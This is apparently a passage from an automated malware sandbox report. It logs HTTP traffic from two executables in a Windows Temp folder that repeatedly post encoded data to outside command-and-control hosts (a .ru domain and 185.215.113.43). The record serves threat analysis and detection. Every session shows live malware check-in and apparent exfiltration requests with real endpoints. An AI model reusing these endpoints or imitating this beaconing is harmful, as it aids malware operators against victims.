Dec 16, 2024 13:18:29.791062117 CET	1060	OUT	Data Raw: 58 57 43 53 59 58 54 5d 5d 5a 59 53 57 5c 5a 56 5a 51 5f 55 51 5e 52 42 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XWCSYXT]]ZYSW\ZVZQ_UQ^RBXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#?)>.,'0X347)?::?(,%""T>>#?X)"F"#Y
Dec 16, 2024 13:18:30.537153959 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:30.787535906 CET	802	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WUJyV61inGGDPzWmF8GTt6ZzWUXVXwHhdXt4mChiRacTddYbHd4x6x11Cr6aTwdKy1waOP8y86fb2nsOM7j%2B9LgpXRpXDliWGJ9u8wUcaf0CVV0JZvG5%2F3xLNCNoNRS2cMMPo3FT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9dcbe8826a5e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4144&min_rtt=1594&rtt_var=5698&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=66369&cwnd=185&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	50286	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:31.037802935 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:18:31.401683092 CET	1060	OUT	Data Raw: 58 5a 43 51 59 5e 54 5b 5d 5a 59 53 57 53 5a 56 5a 5f 5f 5e 51 59 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XZCQY^T[]ZYSWSZVZ__^QYRAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ Z(/%)[/_$;'-#_ \ _-+);?P1!2V%_#,*"F"#Y
Dec 16, 2024 13:18:32.132181883 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:32.373919010 CET	802	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l0ihA80QGYbt1kyAPfgJt5hj59KfHOIp01rTbV7K08lNRgtZPF42PK%2BXTXWw3At1zrB2w0ZInkeNKFZtdxBnAYV4zaGimGho%2BVNBvntyyNYCTpiHhpwUZWPY%2FkP5sA8kKtQGBQ6%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9dd5d9e643ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7982&min_rtt=1746&rtt_var=13127&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=28274&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a Data Ascii: 4<R@X
Dec 16, 2024 13:18:32.565766096 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	50287	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:31.370243073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.8	50290	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:32.813337088 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:33.169925928 CET	1060	OUT	Data Raw: 5d 56 43 57 5c 58 51 5f 5d 5a 59 53 57 5c 5a 53 5a 57 5f 5f 51 5f 52 42 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]VCW\XQ_]ZYSW\ZSZW__Q_RBXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(??=8$0?'=+[ \7.?^?8?V&!-(.-]4Q;X*"F"#Y
Dec 16, 2024 13:18:33.899075985 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:34.147617102 CET	800	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=amaJ2Xn8I5G5O6RhnS0xvjt68TgJUUt9Xo5rjcQjPmQW28QgwyyjQTgOG6tNfuAT12RUyDbT7bfWbLAkedcgJ700Q2C1HPKyiiazVzz2RvwIXqjAwiVDagjpkVzEAf8ALb%2Fr09t2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9de0e8f78c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3960&min_rtt=1772&rtt_var=5041&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=75722&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.8	50295	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:33.554048061 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:18:34.906960011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.8	50302	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:34.398353100 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:34.767580986 CET	1060	OUT	Data Raw: 58 55 46 50 59 59 51 59 5d 5a 59 53 57 5c 5a 57 5a 5e 5f 5d 51 5e 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUFPYYQY]ZYSW\ZWZ^_]Q^REXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [)<>U>['$ $=_#*:$++'Q&)(="#7()8"F"#Y
Dec 16, 2024 13:18:35.490267992 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:35.739689112 CET	814	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NkEudteCkPMWjW6GWXEYP%2Bhb6v9GhXeD%2FfrYnjB68iofnf2DtBrpzBVDfuVBCcB8gpTdKy1DM%2BM9C%2FC3hasqg5%2FcsQprClrHHDPundYtq%2BmC%2F8RrqpVVour5rQ4cwzQBSy1fz%2Foe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9dead8bdb9c5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4517&min_rtt=2012&rtt_var=5766&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=66186&cwnd=140&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.8	50305	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:35.755901098 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1900 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:36.107162952 CET	1900	OUT	Data Raw: 5d 52 46 54 5c 58 54 52 5d 5a 59 53 57 5b 5a 54 5a 53 5f 5c 51 5b 52 48 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]RFT\XTR]ZYSW[ZTZS_\Q[RHXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [)?2W)'\% (\$340^,:++]7$":R)=\##Y)"F"#Y (
Dec 16, 2024 13:18:36.840019941 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:37.075386047 CET	964	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r%2B%2BV0kPnlssBBvW6%2Bu0OA0Tqq5wsX2BKrnFeViWbGfv%2FSCQPVhh%2F%2FzC6N8ScwVvhBVZyvF6HzKlCGfWfw2tNCXXicRSq1ocJPvI7fxrrS%2Bf%2B9uphVximVBQnNB4sBAnPtubjeSOG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9df34f234400-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7256&min_rtt=1585&rtt_var=11936&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2243&delivery_rate=31094&cwnd=154&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 3a 0f 30 2e 21 06 23 2d 33 51 2a 3f 3b 0c 27 0d 04 05 38 3f 38 0a 26 33 29 04 25 0c 2d 10 25 27 3b 5e 37 22 2b 08 27 31 24 53 26 27 23 5d 01 1b 27 43 30 00 35 06 2b 2c 36 13 24 30 04 46 24 3d 3b 40 31 1a 24 57 25 30 2b 53 35 38 25 04 2c 22 03 02 3f 06 33 15 2d 09 39 5c 37 04 21 52 0d 13 22 54 24 16 3e 12 33 08 38 05 20 30 23 58 22 1d 27 50 33 02 06 0b 25 03 24 12 30 2f 21 00 32 28 3f 14 29 2b 32 52 23 32 3f 0c 2b 04 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:0.!#-3Q*?;'8?8&3)%-%';^7"+'1$S&'#]'C05+,6$0F$=;@1$W%0+S58%,"?3-9\7!R"T$>38 0#X"'P3%$0/!2(?)+2R#2?+ R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.8	50307	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:35.892019987 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:36.251049042 CET	1060	OUT	Data Raw: 58 55 46 57 59 50 54 5a 5d 5a 59 53 57 5e 5a 5e 5a 56 5f 5f 51 58 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUFWYPTZ]ZYSW^Z^ZV__QXRCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _)<2V=Y'37'(#)799((((&"(=9]#7+\*"F"#Y 0
Dec 16, 2024 13:18:36.980421066 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:37.219810963 CET	812	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tT%2FYKHfWG4L5Gg%2FD38%2FNxDjW%2FExqrgynkggEm5M4fY3QIjbCF1uRkJvWTBa0TotjMVP3NTlcwOLAr91qU%2BPaq5Q9lGYqnfAcIrxDZnjxkUcVsniSPlXmRg4X%2Fn8n3S%2BJqzALa0ht"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9df42bf38cb7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3788&min_rtt=1974&rtt_var=4368&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=88549&cwnd=167&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.8	50312	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:36.647609949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:18:37.979432106 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.8	50323	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:37.469729900 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:18:37.822020054 CET	1060	OUT	Data Raw: 58 5b 43 52 5c 5c 54 59 5d 5a 59 53 57 5d 5a 52 5a 5f 5f 54 51 53 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: X[CR\\TY]ZYSW]ZRZ__TQSREXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(">=$'$_48,)?_(+2&V=> Q3Z(8"F"#Y <
Dec 16, 2024 13:18:38.555655003 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:38.795542002 CET	812	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3lHBkeiWLMFeRpc7ycniGIAuBeaIVKEVjubL%2FN1fx7ihDp9bt1sb1R0cWiFhNrxBE%2FYd6tp4jgzmAOd%2F%2Fx5ZRrgVb2UQqf2BgoYK5T%2BcraGWJyf3mrwoKw1Pfso%2B3t%2FqWQfnHaTT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9dfe0c39c459-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3782&min_rtt=1637&rtt_var=4905&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=77655&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.8	50340	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:39.043011904 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:39.397442102 CET	1060	OUT	Data Raw: 58 5b 43 55 59 59 51 59 5d 5a 59 53 57 5e 5a 57 5a 50 5f 58 51 59 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: X[CUYYQY]ZYSW^ZWZP_XQYRFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+"T>]0 _%.?#^9?21>U-9[4>8"F"#Y 0
Dec 16, 2024 13:18:40.270575047 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:18:40.363729000 CET	806	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=msY%2FNTAlzZDPgupIrb2OKblcCLfrWsX9W6lBe1QDQz9m9FG0RPt%2Fsj8ku3m1wVY79%2BfrGEf4bcFUPsOGcaiL0sMkg%2BBf8d5XimeEV8e8BGpu8bVfWzKeb9Xa4U5YScnoyvBGXM2r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9e07df6e19ae-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4684&min_rtt=1959&rtt_var=6186&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=61432&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.8	50348	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:39.617532015 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:18:40.969757080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.8	50353	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:18:40.613369942 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:18:40.977922916 CET	1060	OUT	Data Raw: 58 53 43 56 59 5c 51 5a 5d 5a 59 53 57 59 5a 54 5a 57 5f 58 51 5a 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XSCVY\QZ]ZYSWYZTZW_XQZRFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ ^)?2T)=,'V \'=4(]-0<V2.U5[#8"F"#Y ,
Dec 16, 2024 13:18:41.700978994 CET	25	IN	HTTP/1.1 100 Continue
